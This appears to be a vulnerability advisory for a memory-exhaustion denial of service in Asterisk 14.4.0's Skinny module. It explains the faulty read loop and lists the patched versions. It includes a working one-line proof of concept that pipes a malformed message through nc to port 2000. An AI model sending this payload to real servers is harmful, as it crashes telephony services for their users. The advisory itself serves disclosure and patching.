Skip to Content

Asterisk 14.4.0 Skinny Denial Of Service

Posted on 2 mins read

This vulnerability was discovered during an exercise with Sandro Gauci of Enable Security

Asterisk Skinny memory exhaustion vulnerability leads to DoS

Description

Sending one malformed Skinny message to port 2000 will exhaust Asterisk’s memory resulting in a crash.

Impact

Abuse of this issue allows attackers to crash Asterisk when Skinny is exposed to attackers.

How to reproduce the issue

Start Asterisk and make sure the chan_skinny module is loaded. Then execute:

printf “\x38\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x53\x45\x50\x30\x30\x30\x39” | nc localhost 2000

After a few seconds Asterisk will crash since it will be using all of the available memory. Different malformed strings will crash the server faster or slower depending on the amount by which req->data is extended.

The malformed message will throw the following errors in Asterisk:

[Apr 6 09:35:26] WARNING[6893]: chan_skinny.c:7587 skinny_session: Partial data received, waiting (35 bytes read of 52)

while it will loop forever. This is due to the following code:

while (1) {     
  if ((res = read(s->fd, ((char*)&req->data)+bytesread,
  dlen-bytesread)) < 0) {
    ast_log(LOG_WARNING, "Data read() returned error: %s\n",
    strerror(errno));
    break;
  }
  bytesread += res;
  if (bytesread >= dlen) {
    if (res < bytesread) {
      ast_log(LOG_WARNING, "Rest of partial data
      received.\n");
    }
    if (bytesread > dlen) {
      ast_log(LOG_WARNING, "Client sent wrong amount
      of data (%d), expected (%d).\n", bytesread,
      dlen);
      res = -1;
    }
    break;
  }

  ast_log(LOG_WARNING, "Partial data received, waiting (%d bytes
  read of %d)\n", bytesread, dlen);
  if (sched_yield() < 0) {
    ast_log(LOG_WARNING, "Data yield() returned error:
    %s\n", strerror(errno));
    res = -1;
    break;
  }
}

The reason appears to be that res always returns 0 so bytesread will not grow and the loop never breaks. However req->data will continue to expand until all the memory is exhausted.

This issue was found through basic manual testing, before attempting to start fuzzing chan_skinny.

Solutions and recommendations

Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or 13.13-cert4. Enable Security highly recommends disabling this module.